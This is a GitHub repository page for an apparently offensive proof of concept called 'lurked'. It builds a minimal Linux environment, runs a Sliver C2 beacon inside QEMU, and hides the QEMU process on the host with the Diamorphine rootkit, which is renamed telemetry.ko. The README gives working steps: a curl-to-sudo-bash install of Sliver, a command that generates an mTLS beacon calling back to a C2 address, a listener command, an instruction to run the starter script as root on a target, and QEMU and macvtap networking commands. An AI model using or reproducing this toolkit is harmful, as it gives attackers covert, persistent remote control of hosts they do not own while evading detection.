Skip to content

PoC that builds a minimal Linux environment, and runs Sliver C2 agent in a QEMU. The QEMU process will be hidden on a host via Diamorphine rootkit.

Notifications You must be signed in to change notification settings

innxrmxst/lurked

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

25 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Linux environment setup script that builds u-root, runs a concealed Sliver C2 agent in QEMU, and hides the process using Diamorphine rootkit. Static network configuration.

Tested on Ubuntu 16.04.7 LTS (Xenial Xerus) (GNU/Linux 4.4.0-186-generic x86_64).

  • Change IP address of your C2 server;
  • Compile Sliver C2 beacon as following:
curl https://sliver.sh/install|sudo bash

sliver

generate beacon --mtls 10.4.10.10:443 --os linux --arch amd64 --format elf --save slivki

mtls --lport 443
  • Add slivki (Sliver C2 beacon), telemetry.ko (Diamorphine rootkit) and deploy.sh script to a deploy.tar.gz archive and execute starter.sh on a host as root;

VM in QEMU:

Image 1

Before rootkit execution:

Image 2

QEMU processes hidden on a host:

Image 3

Unhiden:

Image 4


Credits:


TODO:

NOTES

ip link add link enp0s3 name spf0 type macvtap mode bridge
ip link set spf0 up
./sq -kernel /boot/vmlinuz-$(uname -r) -initrd ./initramfs.linux_amd64.cpio -net nic,model=virtio,macaddr=$(cat /sys/class/net/spf0/address) -net tap,fd=3 3<>/dev/tap$(cat /sys/class/net/spf0/ifindex) -nographic -append "console=ttyS0"

About

PoC that builds a minimal Linux environment, and runs Sliver C2 agent in a QEMU. The QEMU process will be hidden on a host via Diamorphine rootkit.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages